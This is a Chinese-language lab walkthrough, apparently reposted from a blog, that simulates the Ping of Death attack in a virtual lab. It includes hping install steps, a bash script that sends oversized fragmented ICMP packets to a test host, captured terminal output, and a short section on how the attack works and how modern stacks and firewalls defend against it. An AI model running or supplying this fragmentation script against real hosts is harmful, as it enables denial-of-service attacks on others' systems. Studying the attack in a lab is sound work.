模拟实现死亡之Ping(Ping of death)
需求描述
使用hping構(gòu)造IP分片,模擬實現(xiàn)死亡之Ping
環(huán)境搭建
使用VMWare和Dynamips。
實現(xiàn)思路
構(gòu)造重裝后大于65535字節(jié)的IP分片
| hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1 for ((i=1;i<50;i++)) do j=`expr $i \* 1408` hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1 done hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1 |
?
實驗實施
1. 在PC2上安裝Hping源碼包
| [root@localhost ~]# tar zxf hping2.0.0-rc3.tar.gz [root@localhost ~]# ls anaconda-ks.cfg Desktop hping2.0.0-rc3.tar.gz hping2-rc3 install.log install.log.syslog [root@localhost ~]# mv hping2-rc3/ hping [root@localhost ~]# cd hping [root@localhost hping]# ./configure [root@localhost hping]# make && make install |
?
2. 在Web主機上定位Sniffer上定義過濾器用來抓包
3. 在PC2上用ping命令發(fā)送在和大小為70000的ICMP包
| [root@localhost ~]# ping 192.168.1.1 -s 70000 -c 1 Error: packet size 70000 is too large. Maximum is 65507 ##系統(tǒng)報錯:允許發(fā)送的ICMP包的子啊和最大為65507. |
?
4. 用hping命令,發(fā)送數(shù)據(jù)為7000的ICMP包
| [root@localhost ~]# hping 192.168.1.1 -1 -d 70000 -c 1 HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 4464 data bytes len=1500 ip=192.168.1.1 ttl=127 DF id=57 icmp_seq=0 rtt=39.8 ms --- 192.168.1.1 hping statistic --- 1 packets tramitted, 1 packets received, 0% packet loss round-trip min/avg/max = 39.8/39.8/39.8 ms ##可以看到,只截取了4464字節(jié)的數(shù)據(jù) |
?
5. 在Web服務(wù)器上啟用sniffer抓包
6. 在PC2上編輯一個腳本,先發(fā)送兩個小IP分片測試
| [root@localhost ~]# vim pingcs.sh [root@localhost ~]# more pingcs.sh #!/bin/bash hping 192.168.1.1 -1 -x -d 800 -N 100 -c 1 hping 192.168.1.1 -1 -d 200 -g 808 -N 100 -c 1 [root@localhost ~]# chmod +x pingcs.sh [root@localhost ~]# ./pingcs.sh HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 800 data bytes --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 200 data bytes --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms |
?
7. 在Web主機上查看抓到的IP分片
8. 在PC2上發(fā)送重裝后大于65535字節(jié)的IP分片
| [root@localhost ~]# vim pingofdeath.sh [root@localhost ~]# more pingofdeath.sh #!/bin/bash hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1 for ((i=1;i<50;i++)) do j=`expr $i \* 1408` hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1 done hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1 [root@localhost ~]# chmod +x pingofdeath.sh [root@localhost ~]# ./pingofdeath.sh --- 192.168.1.1 hping statistic --- 1 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms … |
?
9. 在Web主機上啟用sniffer抓包,可以看到很多IP分片,從中找到offset=64768的包
?
補充:
?
死亡之Ping(ping of death)
對目標IP不停地Ping探測從而致使目標主機網(wǎng)絡(luò)癱瘓。常見工具有蝸牛炸彈、AhBomb等。
由于在早期的階段,路由器對包的最大尺寸都有限制,許多操作系統(tǒng)對TCP/IP棧的實現(xiàn)在ICMP包上都是規(guī)定64KB,并且在對包的標題頭進行讀取之后,要根據(jù)該標題頭里包含的信息來為有效載荷生成緩沖區(qū),當產(chǎn)生畸形的,聲稱自己的尺寸超過ICMP上限的包也就是加載的尺寸超過64K上限時,就會出現(xiàn)內(nèi)存分配錯誤,導致TCP/IP堆棧崩潰,致使接受方死機。
防御:現(xiàn)在所有的標準TCP/IP實現(xiàn)都已實現(xiàn)對付超大尺寸的包,并且大多數(shù)防火墻能夠自動過濾這些攻擊,包括:從windows 98之后的windows NT(service pack 3之后),Solaris、和Mac OS都具有抵抗一般ping of death攻擊的能力。此外,對防火墻進行配置,阻斷ICMP以及任何未知協(xié)議,都講防止此類攻擊。
ping -t -l 65500 ip?死亡之ping(發(fā)送大于64K的文件并一直ping就成了死亡之ping)
?
至此、實驗完畢!
?
附上hping下載地址:https://github.com/antirez/hping
轉(zhuǎn)載于:https://www.cnblogs.com/wpjamer/p/4089212.html
總結(jié)
以上是生活随笔為你收集整理的模拟实现死亡之Ping(Ping of death)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Google账户解封秘籍:这样申诉,分分
- 下一篇: 超标量技术